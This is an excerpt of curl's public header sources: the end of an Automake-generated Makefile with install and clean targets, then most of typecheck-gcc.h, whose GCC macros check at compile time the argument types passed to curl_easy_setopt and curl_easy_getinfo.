580 | for dir in "$(DESTDIR)$(pkgincludedir)"; do \
581 | test -z "$$dir" || $(MKDIR_P) "$$dir"; \
582 | done
583 | install: install-am
584 | install-exec: install-exec-am
585 | install-data: install-data-am
586 | uninstall: uninstall-am
587 |
588 | install-am: all-am
589 | @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
590 |
591 | installcheck: installcheck-am
592 | install-strip:
593 | if test -z '$(STRIP)'; then \
594 | $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
595 | install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
596 | install; \
597 | else \
598 | $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
599 | install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
600 | "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \
601 | fi
602 | mostlyclean-generic:
603 |
604 | clean-generic:
605 |
606 | distclean-generic:
607 | -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
608 | -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES)
609 | -test -z "$(DISTCLEANFILES)" || rm -f $(DISTCLEANFILES)
610 |
611 | maintainer-clean-generic:
612 | @echo "This command is intended for maintainers to use"
613 | @echo "it deletes files that may require special tools to rebuild."
614 | clean: clean-am
615 |
616 | clean-am: clean-generic clean-libtool mostlyclean-am
617 |
618 | distclean: distclean-am
619 | -rm -f Makefile
620 | distclean-am: clean-am distclean-generic distclean-hdr distclean-tags
621 |
622 | dvi: dvi-am
623 |
624 | dvi-am:
625 |
626 | html: html-am
627 |
628 | html-am:
629 |
630 | info: info-am
631 |
632 | info-am:
633 |
634 | install-data-am: install-pkgincludeHEADERS
635 |
636 | install-dvi: install-dvi-am
637 |
638 | install-dvi-am:
639 |
640 | install-exec-am:
641 |
642 | install-html: install-html-am
643 |
644 | install-html-am:
645 |
646 | install-info: install-info-am
647 |
648 | install-info-am:
649 |
650 | install-man:
651 |
652 | install-pdf: install-pdf-am
653 |
654 | install-pdf-am:
655 |
656 | install-ps: install-ps-am
657 |
658 | install-ps-am:
659 |
660 | installcheck-am:
661 |
662 | maintainer-clean: maintainer-clean-am
663 | -rm -f Makefile
664 | maintainer-clean-am: distclean-am maintainer-clean-generic
665 |
666 | mostlyclean: mostlyclean-am
667 |
668 | mostlyclean-am: mostlyclean-generic mostlyclean-libtool
669 |
670 | pdf: pdf-am
671 |
672 | pdf-am:
673 |
674 | ps: ps-am
675 |
676 | ps-am:
677 |
678 | uninstall-am: uninstall-pkgincludeHEADERS
679 |
680 | .MAKE: all install-am install-strip
681 |
682 | .PHONY: CTAGS GTAGS TAGS all all-am all-local check check-am clean \
683 | clean-generic clean-libtool cscopelist-am ctags ctags-am \
684 | distclean distclean-generic distclean-hdr distclean-libtool \
685 | distclean-tags distdir dvi dvi-am html html-am info info-am \
686 | install install-am install-data install-data-am install-dvi \
687 | install-dvi-am install-exec install-exec-am install-html \
688 | install-html-am install-info install-info-am install-man \
689 | install-pdf install-pdf-am install-pkgincludeHEADERS \
690 | install-ps install-ps-am install-strip installcheck \
691 | installcheck-am installdirs maintainer-clean \
692 | maintainer-clean-generic mostlyclean mostlyclean-generic \
693 | mostlyclean-libtool pdf pdf-am ps ps-am tags tags-am uninstall \
694 | uninstall-am uninstall-pkgincludeHEADERS
695 |
696 | .PRECIOUS: Makefile
697 |
698 |
699 | checksrc:
700 | @@PERL@ $(top_srcdir)/lib/checksrc.pl -Wcurlbuild.h -D$(top_srcdir)/include/curl $(pkginclude_HEADERS) $(EXTRA_DIST)
701 |
702 | # for debug builds, we scan the sources on all regular make invokes
703 | @CURLDEBUG_TRUE@all-local: checksrc
704 |
705 | # Tell versions [3.59,3.63) of GNU make to not export all variables.
706 | # Otherwise a system limit (for SysV at least) may be exceeded.
707 | .NOEXPORT:
708 |
--------------------------------------------------------------------------------
/curl/typecheck-gcc.h:
--------------------------------------------------------------------------------
1 | #ifndef __CURL_TYPECHECK_GCC_H
2 | #define __CURL_TYPECHECK_GCC_H
3 | /***************************************************************************
4 | * _ _ ____ _
5 | * Project ___| | | | _ \| |
6 | * / __| | | | |_) | |
7 | * | (__| |_| | _ <| |___
8 | * \___|\___/|_| \_\_____|
9 | *
10 | * Copyright (C) 1998 - 2016, Daniel Stenberg, , et al.
11 | *
12 | * This software is licensed as described in the file COPYING, which
13 | * you should have received as part of this distribution. The terms
14 | * are also available at https://curl.haxx.se/docs/copyright.html.
15 | *
16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell
17 | * copies of the Software, and permit persons to whom the Software is
18 | * furnished to do so, under the terms of the COPYING file.
19 | *
20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
21 | * KIND, either express or implied.
22 | *
23 | ***************************************************************************/
24 |
25 | /* wraps curl_easy_setopt() with typechecking */
26 |
27 | /* To add a new kind of warning, add an
28 | * if(_curl_is_sometype_option(_curl_opt))
29 | * if(!_curl_is_sometype(value))
30 | * _curl_easy_setopt_err_sometype();
31 | * block and define _curl_is_sometype_option, _curl_is_sometype and
32 | * _curl_easy_setopt_err_sometype below
33 | *
34 | * NOTE: We use two nested 'if' statements here instead of the && operator, in
35 | * order to work around gcc bug #32061. It affects only gcc 4.3.x/4.4.x
36 | * when compiling with -Wlogical-op.
37 | *
38 | * To add an option that uses the same type as an existing option, you'll just
39 | * need to extend the appropriate _curl_*_option macro
40 | */
41 | #define curl_easy_setopt(handle, option, value) \
42 | __extension__ ({ \
43 | __typeof__(option) _curl_opt = option; \
44 | if(__builtin_constant_p(_curl_opt)) { \
45 | if(_curl_is_long_option(_curl_opt)) \
46 | if(!_curl_is_long(value)) \
47 | _curl_easy_setopt_err_long(); \
48 | if(_curl_is_off_t_option(_curl_opt)) \
49 | if(!_curl_is_off_t(value)) \
50 | _curl_easy_setopt_err_curl_off_t(); \
51 | if(_curl_is_string_option(_curl_opt)) \
52 | if(!_curl_is_string(value)) \
53 | _curl_easy_setopt_err_string(); \
54 | if(_curl_is_write_cb_option(_curl_opt)) \
55 | if(!_curl_is_write_cb(value)) \
56 | _curl_easy_setopt_err_write_callback(); \
57 | if((_curl_opt) == CURLOPT_READFUNCTION) \
58 | if(!_curl_is_read_cb(value)) \
59 | _curl_easy_setopt_err_read_cb(); \
60 | if((_curl_opt) == CURLOPT_IOCTLFUNCTION) \
61 | if(!_curl_is_ioctl_cb(value)) \
62 | _curl_easy_setopt_err_ioctl_cb(); \
63 | if((_curl_opt) == CURLOPT_SOCKOPTFUNCTION) \
64 | if(!_curl_is_sockopt_cb(value)) \
65 | _curl_easy_setopt_err_sockopt_cb(); \
66 | if((_curl_opt) == CURLOPT_OPENSOCKETFUNCTION) \
67 | if(!_curl_is_opensocket_cb(value)) \
68 | _curl_easy_setopt_err_opensocket_cb(); \
69 | if((_curl_opt) == CURLOPT_PROGRESSFUNCTION) \
70 | if(!_curl_is_progress_cb(value)) \
71 | _curl_easy_setopt_err_progress_cb(); \
72 | if((_curl_opt) == CURLOPT_DEBUGFUNCTION) \
73 | if(!_curl_is_debug_cb(value)) \
74 | _curl_easy_setopt_err_debug_cb(); \
75 | if((_curl_opt) == CURLOPT_SSL_CTX_FUNCTION) \
76 | if(!_curl_is_ssl_ctx_cb(value)) \
77 | _curl_easy_setopt_err_ssl_ctx_cb(); \
78 | if(_curl_is_conv_cb_option(_curl_opt)) \
79 | if(!_curl_is_conv_cb(value)) \
80 | _curl_easy_setopt_err_conv_cb(); \
81 | if((_curl_opt) == CURLOPT_SEEKFUNCTION) \
82 | if(!_curl_is_seek_cb(value)) \
83 | _curl_easy_setopt_err_seek_cb(); \
84 | if(_curl_is_cb_data_option(_curl_opt)) \
85 | if(!_curl_is_cb_data(value)) \
86 | _curl_easy_setopt_err_cb_data(); \
87 | if((_curl_opt) == CURLOPT_ERRORBUFFER) \
88 | if(!_curl_is_error_buffer(value)) \
89 | _curl_easy_setopt_err_error_buffer(); \
90 | if((_curl_opt) == CURLOPT_STDERR) \
91 | if(!_curl_is_FILE(value)) \
92 | _curl_easy_setopt_err_FILE(); \
93 | if(_curl_is_postfields_option(_curl_opt)) \
94 | if(!_curl_is_postfields(value)) \
95 | _curl_easy_setopt_err_postfields(); \
96 | if((_curl_opt) == CURLOPT_HTTPPOST) \
97 | if(!_curl_is_arr((value), struct curl_httppost)) \
98 | _curl_easy_setopt_err_curl_httpost(); \
99 | if(_curl_is_slist_option(_curl_opt)) \
100 | if(!_curl_is_arr((value), struct curl_slist)) \
101 | _curl_easy_setopt_err_curl_slist(); \
102 | if((_curl_opt) == CURLOPT_SHARE) \
103 | if(!_curl_is_ptr((value), CURLSH)) \
104 | _curl_easy_setopt_err_CURLSH(); \
105 | } \
106 | curl_easy_setopt(handle, _curl_opt, value); \
107 | })
108 |
109 | /* wraps curl_easy_getinfo() with typechecking */
110 | /* FIXME: don't allow const pointers */
111 | #define curl_easy_getinfo(handle, info, arg) \
112 | __extension__ ({ \
113 | __typeof__(info) _curl_info = info; \
114 | if(__builtin_constant_p(_curl_info)) { \
115 | if(_curl_is_string_info(_curl_info)) \
116 | if(!_curl_is_arr((arg), char *)) \
117 | _curl_easy_getinfo_err_string(); \
118 | if(_curl_is_long_info(_curl_info)) \
119 | if(!_curl_is_arr((arg), long)) \
120 | _curl_easy_getinfo_err_long(); \
121 | if(_curl_is_double_info(_curl_info)) \
122 | if(!_curl_is_arr((arg), double)) \
123 | _curl_easy_getinfo_err_double(); \
124 | if(_curl_is_slist_info(_curl_info)) \
125 | if(!_curl_is_arr((arg), struct curl_slist *)) \
126 | _curl_easy_getinfo_err_curl_slist(); \
127 | } \
128 | curl_easy_getinfo(handle, _curl_info, arg); \
129 | })
130 |
131 | /* TODO: typechecking for curl_share_setopt() and curl_multi_setopt(),
132 | * for now just make sure that the functions are called with three
133 | * arguments
134 | */
135 | #define curl_share_setopt(share,opt,param) curl_share_setopt(share,opt,param)
136 | #define curl_multi_setopt(handle,opt,param) curl_multi_setopt(handle,opt,param)
137 |
138 |
139 | /* the actual warnings, triggered by calling the _curl_easy_setopt_err*
140 | * functions */
141 |
142 | /* To define a new warning, use _CURL_WARNING(identifier, "message") */
143 | #define _CURL_WARNING(id, message) \
144 | static void __attribute__((__warning__(message))) \
145 | __attribute__((__unused__)) __attribute__((__noinline__)) \
146 | id(void) { __asm__(""); }
147 |
148 | _CURL_WARNING(_curl_easy_setopt_err_long,
149 | "curl_easy_setopt expects a long argument for this option")
150 | _CURL_WARNING(_curl_easy_setopt_err_curl_off_t,
151 | "curl_easy_setopt expects a curl_off_t argument for this option")
152 | _CURL_WARNING(_curl_easy_setopt_err_string,
153 | "curl_easy_setopt expects a "
154 | "string ('char *' or char[]) argument for this option"
155 | )
156 | _CURL_WARNING(_curl_easy_setopt_err_write_callback,
157 | "curl_easy_setopt expects a curl_write_callback argument for this option")
158 | _CURL_WARNING(_curl_easy_setopt_err_read_cb,
159 | "curl_easy_setopt expects a curl_read_callback argument for this option")
160 | _CURL_WARNING(_curl_easy_setopt_err_ioctl_cb,
161 | "curl_easy_setopt expects a curl_ioctl_callback argument for this option")
162 | _CURL_WARNING(_curl_easy_setopt_err_sockopt_cb,
163 | "curl_easy_setopt expects a curl_sockopt_callback argument for this option")
164 | _CURL_WARNING(_curl_easy_setopt_err_opensocket_cb,
165 | "curl_easy_setopt expects a "
166 | "curl_opensocket_callback argument for this option"
167 | )
168 | _CURL_WARNING(_curl_easy_setopt_err_progress_cb,
169 | "curl_easy_setopt expects a curl_progress_callback argument for this option")
170 | _CURL_WARNING(_curl_easy_setopt_err_debug_cb,
171 | "curl_easy_setopt expects a curl_debug_callback argument for this option")
172 | _CURL_WARNING(_curl_easy_setopt_err_ssl_ctx_cb,
173 | "curl_easy_setopt expects a curl_ssl_ctx_callback argument for this option")
174 | _CURL_WARNING(_curl_easy_setopt_err_conv_cb,
175 | "curl_easy_setopt expects a curl_conv_callback argument for this option")
176 | _CURL_WARNING(_curl_easy_setopt_err_seek_cb,
177 | "curl_easy_setopt expects a curl_seek_callback argument for this option")
178 | _CURL_WARNING(_curl_easy_setopt_err_cb_data,
179 | "curl_easy_setopt expects a "
180 | "private data pointer as argument for this option")
181 | _CURL_WARNING(_curl_easy_setopt_err_error_buffer,
182 | "curl_easy_setopt expects a "
183 | "char buffer of CURL_ERROR_SIZE as argument for this option")
184 | _CURL_WARNING(_curl_easy_setopt_err_FILE,
185 | "curl_easy_setopt expects a 'FILE *' argument for this option")
186 | _CURL_WARNING(_curl_easy_setopt_err_postfields,
187 | "curl_easy_setopt expects a 'void *' or 'char *' argument for this option")
188 | _CURL_WARNING(_curl_easy_setopt_err_curl_httpost,
189 | "curl_easy_setopt expects a 'struct curl_httppost *' "
190 | "argument for this option")
191 | _CURL_WARNING(_curl_easy_setopt_err_curl_slist,
192 | "curl_easy_setopt expects a 'struct curl_slist *' argument for this option")
193 | _CURL_WARNING(_curl_easy_setopt_err_CURLSH,
194 | "curl_easy_setopt expects a CURLSH* argument for this option")
195 |
196 | _CURL_WARNING(_curl_easy_getinfo_err_string,
197 | "curl_easy_getinfo expects a pointer to 'char *' for this info")
198 | _CURL_WARNING(_curl_easy_getinfo_err_long,
199 | "curl_easy_getinfo expects a pointer to long for this info")
200 | _CURL_WARNING(_curl_easy_getinfo_err_double,
201 | "curl_easy_getinfo expects a pointer to double for this info")
202 | _CURL_WARNING(_curl_easy_getinfo_err_curl_slist,
203 | "curl_easy_getinfo expects a pointer to 'struct curl_slist *' for this info")
204 |
205 | /* groups of curl_easy_setops options that take the same type of argument */
206 |
207 | /* To add a new option to one of the groups, just add
208 | * (option) == CURLOPT_SOMETHING
209 | * to the or-expression. If the option takes a long or curl_off_t, you don't
210 | * have to do anything
211 | */
212 |
213 | /* evaluates to true if option takes a long argument */
214 | #define _curl_is_long_option(option) \
215 | (0 < (option) && (option) < CURLOPTTYPE_OBJECTPOINT)
216 |
217 | #define _curl_is_off_t_option(option) \
218 | ((option) > CURLOPTTYPE_OFF_T)
219 |
220 | /* evaluates to true if option takes a char* argument */
221 | #define _curl_is_string_option(option) \
222 | ((option) == CURLOPT_ACCEPT_ENCODING || \
223 | (option) == CURLOPT_CAINFO || \
224 | (option) == CURLOPT_CAPATH || \
225 | (option) == CURLOPT_COOKIE || \
226 | (option) == CURLOPT_COOKIEFILE || \
227 | (option) == CURLOPT_COOKIEJAR || \
228 | (option) == CURLOPT_COOKIELIST || \
229 | (option) == CURLOPT_CRLFILE || \
230 | (option) == CURLOPT_CUSTOMREQUEST || \
231 | (option) == CURLOPT_DEFAULT_PROTOCOL || \
232 | (option) == CURLOPT_DNS_INTERFACE || \
233 | (option) == CURLOPT_DNS_LOCAL_IP4 || \
234 | (option) == CURLOPT_DNS_LOCAL_IP6 || \
235 | (option) == CURLOPT_DNS_SERVERS || \
236 | (option) == CURLOPT_EGDSOCKET || \
237 | (option) == CURLOPT_FTPPORT || \
238 | (option) == CURLOPT_FTP_ACCOUNT || \
239 | (option) == CURLOPT_FTP_ALTERNATIVE_TO_USER || \
240 | (option) == CURLOPT_INTERFACE || \
241 | (option) == CURLOPT_ISSUERCERT || \
242 | (option) == CURLOPT_KEYPASSWD || \
243 | (option) == CURLOPT_KRBLEVEL || \
244 | (option) == CURLOPT_LOGIN_OPTIONS || \
245 | (option) == CURLOPT_MAIL_AUTH || \
246 | (option) == CURLOPT_MAIL_FROM || \
247 | (option) == CURLOPT_NETRC_FILE || \
248 | (option) == CURLOPT_NOPROXY || \
249 | (option) == CURLOPT_PASSWORD || \
250 | (option) == CURLOPT_PINNEDPUBLICKEY || \
251 | (option) == CURLOPT_PROXY || \
252 | (option) == CURLOPT_PROXYPASSWORD || \
253 | (option) == CURLOPT_PROXYUSERNAME || \
254 | (option) == CURLOPT_PROXYUSERPWD || \
255 | (option) == CURLOPT_PROXY_SERVICE_NAME || \
256 | (option) == CURLOPT_RANDOM_FILE || \
257 | (option) == CURLOPT_RANGE || \
258 | (option) == CURLOPT_REFERER || \
259 | (option) == CURLOPT_RTSP_SESSION_ID || \
260 | (option) == CURLOPT_RTSP_STREAM_URI || \
261 | (option) == CURLOPT_RTSP_TRANSPORT || \
262 | (option) == CURLOPT_SERVICE_NAME || \
263 | (option) == CURLOPT_SOCKS5_GSSAPI_SERVICE || \
264 | (option) == CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 || \
265 | (option) == CURLOPT_SSH_KNOWNHOSTS || \
266 | (option) == CURLOPT_SSH_PRIVATE_KEYFILE || \
267 | (option) == CURLOPT_SSH_PUBLIC_KEYFILE || \
268 | (option) == CURLOPT_SSLCERT || \
269 | (option) == CURLOPT_SSLCERTTYPE || \
270 | (option) == CURLOPT_SSLENGINE || \
271 | (option) == CURLOPT_SSLKEY || \
272 | (option) == CURLOPT_SSLKEYTYPE || \
273 | (option) == CURLOPT_SSL_CIPHER_LIST || \
274 | (option) == CURLOPT_TLSAUTH_PASSWORD || \
275 | (option) == CURLOPT_TLSAUTH_TYPE || \
276 | (option) == CURLOPT_TLSAUTH_USERNAME || \
277 | (option) == CURLOPT_UNIX_SOCKET_PATH || \
278 | (option) == CURLOPT_URL || \
279 | (option) == CURLOPT_USERAGENT || \
280 | (option) == CURLOPT_USERNAME || \
281 | (option) == CURLOPT_USERPWD || \
282 | (option) == CURLOPT_XOAUTH2_BEARER || \
283 | 0)
284 |
285 | /* evaluates to true if option takes a curl_write_callback argument */
286 | #define _curl_is_write_cb_option(option) \
287 | ((option) == CURLOPT_HEADERFUNCTION || \
288 | (option) == CURLOPT_WRITEFUNCTION)
289 |
290 | /* evaluates to true if option takes a curl_conv_callback argument */
291 | #define _curl_is_conv_cb_option(option) \
292 | ((option) == CURLOPT_CONV_TO_NETWORK_FUNCTION || \
293 | (option) == CURLOPT_CONV_FROM_NETWORK_FUNCTION || \
294 | (option) == CURLOPT_CONV_FROM_UTF8_FUNCTION)
295 |
296 | /* evaluates to true if option takes a data argument to pass to a callback */
297 | #define _curl_is_cb_data_option(option) \
298 | ((option) == CURLOPT_CHUNK_DATA || \
299 | (option) == CURLOPT_CLOSESOCKETDATA || \
300 | (option) == CURLOPT_DEBUGDATA || \
301 | (option) == CURLOPT_FNMATCH_DATA || \
302 | (option) == CURLOPT_HEADERDATA || \
303 | (option) == CURLOPT_INTERLEAVEDATA || \
304 | (option) == CURLOPT_IOCTLDATA || \
305 | (option) == CURLOPT_OPENSOCKETDATA || \
306 | (option) == CURLOPT_PRIVATE || \
307 | (option) == CURLOPT_PROGRESSDATA || \
308 | (option) == CURLOPT_READDATA || \
309 | (option) == CURLOPT_SEEKDATA || \
310 | (option) == CURLOPT_SOCKOPTDATA || \
311 | (option) == CURLOPT_SSH_KEYDATA || \
312 | (option) == CURLOPT_SSL_CTX_DATA || \
313 | (option) == CURLOPT_WRITEDATA || \
314 | 0)
315 |
316 | /* evaluates to true if option takes a POST data argument (void* or char*) */
317 | #define _curl_is_postfields_option(option) \
318 | ((option) == CURLOPT_POSTFIELDS || \
319 | (option) == CURLOPT_COPYPOSTFIELDS || \
320 | 0)
321 |
322 | /* evaluates to true if option takes a struct curl_slist * argument */
323 | #define _curl_is_slist_option(option) \
324 | ((option) == CURLOPT_HTTP200ALIASES || \
325 | (option) == CURLOPT_HTTPHEADER || \
326 | (option) == CURLOPT_MAIL_RCPT || \
327 | (option) == CURLOPT_POSTQUOTE || \
328 | (option) == CURLOPT_PREQUOTE || \
329 | (option) == CURLOPT_PROXYHEADER || \
330 | (option) == CURLOPT_QUOTE || \
331 | (option) == CURLOPT_RESOLVE || \
332 | (option) == CURLOPT_TELNETOPTIONS || \
333 | 0)
334 |
335 | /* groups of curl_easy_getinfo infos that take the same type of argument */
336 |
337 | /* evaluates to true if info expects a pointer to char * argument */
338 | #define _curl_is_string_info(info) \
339 | (CURLINFO_STRING < (info) && (info) < CURLINFO_LONG)
340 |
341 | /* evaluates to true if info expects a pointer to long argument */
342 | #define _curl_is_long_info(info) \
343 | (CURLINFO_LONG < (info) && (info) < CURLINFO_DOUBLE)
344 |
345 | /* evaluates to true if info expects a pointer to double argument */
346 | #define _curl_is_double_info(info) \
347 | (CURLINFO_DOUBLE < (info) && (info) < CURLINFO_SLIST)
348 |
349 | /* true if info expects a pointer to struct curl_slist * argument */
350 | #define _curl_is_slist_info(info) \
351 | (CURLINFO_SLIST < (info))
352 |
353 |
354 | /* typecheck helpers -- check whether given expression has requested type*/
355 |
356 | /* For pointers, you can use the _curl_is_ptr/_curl_is_arr macros,
357 | * otherwise define a new macro. Search for __builtin_types_compatible_p
358 | * in the GCC manual.
359 | * NOTE: these macros MUST NOT EVALUATE their arguments! The argument is
360 | * the actual expression passed to the curl_easy_setopt macro. This
361 | * means that you can only apply the sizeof and __typeof__ operators, no
362 | * == or whatsoever.
363 | */
364 |
365 | /* XXX: should evaluate to true iff expr is a pointer */
366 | #define _curl_is_any_ptr(expr) \
367 | (sizeof(expr) == sizeof(void *))
368 |
369 | /* evaluates to true if expr is NULL */
370 | /* XXX: must not evaluate expr, so this check is not accurate */
371 | #define _curl_is_NULL(expr) \
372 | (__builtin_types_compatible_p(__typeof__(expr), __typeof__(NULL)))
373 |
374 | /* evaluates to true if expr is type*, const type* or NULL */
375 | #define _curl_is_ptr(expr, type) \
376 | (_curl_is_NULL(expr) || \
377 | __builtin_types_compatible_p(__typeof__(expr), type *) || \
378 | __builtin_types_compatible_p(__typeof__(expr), const type *))
379 |
380 | /* evaluates to true if expr is one of type[], type*, NULL or const type* */
381 | #define _curl_is_arr(expr, type) \
382 | (_curl_is_ptr((expr), type) || \
383 | __builtin_types_compatible_p(__typeof__(expr), type []))
384 |
385 | /* evaluates to true if expr is a string */
386 | #define _curl_is_string(expr) \
387 | (_curl_is_arr((expr), char) || \
388 | _curl_is_arr((expr), signed char) || \
389 | _curl_is_arr((expr), unsigned char))
390 |
391 | /* evaluates to true if expr is a long (no matter the signedness)
392 | * XXX: for now, int is also accepted (and therefore short and char, which
393 | * are promoted to int when passed to a variadic function) */
394 | #define _curl_is_long(expr) \
395 | (__builtin_types_compatible_p(__typeof__(expr), long) || \
396 | __builtin_types_compatible_p(__typeof__(expr), signed long) || \
397 | __builtin_types_compatible_p(__typeof__(expr), unsigned long) || \
398 | __builtin_types_compatible_p(__typeof__(expr), int) || \
399 | __builtin_types_compatible_p(__typeof__(expr), signed int) || \
400 | __builtin_types_compatible_p(__typeof__(expr), unsigned int) || \
401 | __builtin_types_compatible_p(__typeof__(expr), short) || \
402 | __builtin_types_compatible_p(__typeof__(expr), signed short) || \
403 | __builtin_types_compatible_p(__typeof__(expr), unsigned short) || \
404 | __builtin_types_compatible_p(__typeof__(expr), char) || \
405 | __builtin_types_compatible_p(__typeof__(expr), signed char) || \
406 | __builtin_types_compatible_p(__typeof__(expr), unsigned char))
407 |
408 | /* evaluates to true if expr is of type curl_off_t */
409 | #define _curl_is_off_t(expr) \
410 | (__builtin_types_compatible_p(__typeof__(expr), curl_off_t))
411 |
412 | /* evaluates to true if expr is abuffer suitable for CURLOPT_ERRORBUFFER */
413 | /* XXX: also check size of an char[] array? */
414 | #define _curl_is_error_buffer(expr) \
415 | (_curl_is_NULL(expr) || \
416 | __builtin_types_compatible_p(__typeof__(expr), char *) || \
417 | __builtin_types_compatible_p(__typeof__(expr), char[]))
418 |
419 | /* evaluates to true if expr is of type (const) void* or (const) FILE* */
420 | #if 0
421 | #define _curl_is_cb_data(expr) \
422 | (_curl_is_ptr((expr), void) || \
423 | _curl_is_ptr((expr), FILE))
424 | #else /* be less strict */
425 | #define _curl_is_cb_data(expr) \
426 | _curl_is_any_ptr(expr)
427 | #endif
428 |
429 | /* evaluates to true if expr is of type FILE* */
430 | #define _curl_is_FILE(expr) \
431 | (__builtin_types_compatible_p(__typeof__(expr), FILE *))
432 |
433 | /* evaluates to true if expr can be passed as POST data (void* or char*) */
434 | #define _curl_is_postfields(expr) \
435 | (_curl_is_ptr((expr), void) || \
436 | _curl_is_arr((expr), char))
437 |
438 | /* FIXME: the whole callback checking is messy...
439 | * The idea is to tolerate char vs. void and const vs. not const
440 | * pointers in arguments at least
441 | */
442 | /* helper: __builtin_types_compatible_p distinguishes between functions and
443 | * function pointers, hide it */
444 | #define _curl_callback_compatible(func, type) \
445 | (__builtin_types_compatible_p(__typeof__(func), type) || \
446 | __builtin_types_compatible_p(__typeof__(func), type*))
447 |
448 | /* evaluates to true if expr is of type curl_read_callback or "similar" */
449 | #define _curl_is_read_cb(expr) \
450 | (_curl_is_NULL(expr) || \
451 | __builtin_types_compatible_p(__typeof__(expr), __typeof__(fread)) || \
452 | __builtin_types_compatible_p(__typeof__(expr), curl_read_callback) || \
453 | _curl_callback_compatible((expr), _curl_read_callback1) || \
454 | _curl_callback_compatible((expr), _curl_read_callback2) || \
455 | _curl_callback_compatible((expr), _curl_read_callback3) || \
456 | _curl_callback_compatible((expr), _curl_read_callback4) || \
457 | _curl_callback_compatible((expr), _curl_read_callback5) || \
458 | _curl_callback_compatible((expr), _curl_read_callback6))
459 | typedef size_t (_curl_read_callback1)(char *, size_t, size_t, void *);
460 | typedef size_t (_curl_read_callback2)(char *, size_t, size_t, const void *);
461 | typedef size_t (_curl_read_callback3)(char *, size_t, size_t, FILE *);
462 | typedef size_t (_curl_read_callback4)(void *, size_t, size_t, void *);
463 | typedef size_t (_curl_read_callback5)(void *, size_t, size_t, const void *);
464 | typedef size_t (_curl_read_callback6)(void *, size_t, size_t, FILE *);
465 |
466 | /* evaluates to true if expr is of type curl_write_callback or "similar" */
467 | #define _curl_is_write_cb(expr) \
468 | (_curl_is_read_cb(expr) || \
469 | __builtin_types_compatible_p(__typeof__(expr), __typeof__(fwrite)) || \
470 | __builtin_types_compatible_p(__typeof__(expr), curl_write_callback) || \
471 | _curl_callback_compatible((expr), _curl_write_callback1) || \
472 | _curl_callback_compatible((expr), _curl_write_callback2) || \
473 | _curl_callback_compatible((expr), _curl_write_callback3) || \
474 | _curl_callback_compatible((expr), _curl_write_callback4) || \
475 | _curl_callback_compatible((expr), _curl_write_callback5) || \
476 | _curl_callback_compatible((expr), _curl_write_callback6))
477 | typedef size_t (_curl_write_callback1)(const char *, size_t, size_t, void *);
478 | typedef size_t (_curl_write_callback2)(const char *, size_t, size_t,
479 | const void *);
480 | typedef size_t (_curl_write_callback3)(const char *, size_t, size_t, FILE *);
481 | typedef size_t (_curl_write_callback4)(const void *, size_t, size_t, void *);
482 | typedef size_t (_curl_write_callback5)(const void *, size_t, size_t,
483 | const void *);
484 | typedef size_t (_curl_write_callback6)(const void *, size_t, size_t, FILE *);
485 |
486 | /* evaluates to true if expr is of type curl_ioctl_callback or "similar" */
487 | #define _curl_is_ioctl_cb(expr) \
488 | (_curl_is_NULL(expr) || \
489 | __builtin_types_compatible_p(__typeof__(expr), curl_ioctl_callback) || \
490 | _curl_callback_compatible((expr), _curl_ioctl_callback1) || \
491 | _curl_callback_compatible((expr), _curl_ioctl_callback2) || \
492 | _curl_callback_compatible((expr), _curl_ioctl_callback3) || \
493 | _curl_callback_compatible((expr), _curl_ioctl_callback4))
494 | typedef curlioerr (_curl_ioctl_callback1)(CURL *, int, void *);
495 | typedef curlioerr (_curl_ioctl_callback2)(CURL *, int, const void *);
496 | typedef curlioerr (_curl_ioctl_callback3)(CURL *, curliocmd, void *);
497 | typedef curlioerr (_curl_ioctl_callback4)(CURL *, curliocmd, const void *);
498 |
499 | /* evaluates to true if expr is of type curl_sockopt_callback or "similar" */
500 | #define _curl_is_sockopt_cb(expr) \
501 | (_curl_is_NULL(expr) || \
502 | __builtin_types_compatible_p(__typeof__(expr), curl_sockopt_callback) || \
503 | _curl_callback_compatible((expr), _curl_sockopt_callback1) || \
504 | _curl_callback_compatible((expr), _curl_sockopt_callback2))
505 | typedef int (_curl_sockopt_callback1)(void *, curl_socket_t, curlsocktype);
506 | typedef int (_curl_sockopt_callback2)(const void *, curl_socket_t,
507 | curlsocktype);
508 |
509 | /* evaluates to true if expr is of type curl_opensocket_callback or
510 | "similar" */
511 | #define _curl_is_opensocket_cb(expr) \
512 | (_curl_is_NULL(expr) || \
513 | __builtin_types_compatible_p(__typeof__(expr), curl_opensocket_callback) ||\
514 | _curl_callback_compatible((expr), _curl_opensocket_callback1) || \
515 | _curl_callback_compatible((expr), _curl_opensocket_callback2) || \
516 | _curl_callback_compatible((expr), _curl_opensocket_callback3) || \
517 | _curl_callback_compatible((expr), _curl_opensocket_callback4))
518 | typedef curl_socket_t (_curl_opensocket_callback1)
519 | (void *, curlsocktype, struct curl_sockaddr *);
520 | typedef curl_socket_t (_curl_opensocket_callback2)
521 | (void *, curlsocktype, const struct curl_sockaddr *);
522 | typedef curl_socket_t (_curl_opensocket_callback3)
523 | (const void *, curlsocktype, struct curl_sockaddr *);
524 | typedef curl_socket_t (_curl_opensocket_callback4)
525 | (const void *, curlsocktype, const struct curl_sockaddr *);
526 |
527 | /* evaluates to true if expr is of type curl_progress_callback or "similar" */
528 | #define _curl_is_progress_cb(expr) \
529 | (_curl_is_NULL(expr) || \
530 | __builtin_types_compatible_p(__typeof__(expr), curl_progress_callback) || \
531 | _curl_callback_compatible((expr), _curl_progress_callback1) || \
532 | _curl_callback_compatible((expr), _curl_progress_callback2))
533 | typedef int (_curl_progress_callback1)(void *,
534 | double, double, double, double);
535 | typedef int (_curl_progress_callback2)(const void *,
536 | double, double, double, double);
537 |
538 | /* evaluates to true if expr is of type curl_debug_callback or "similar" */
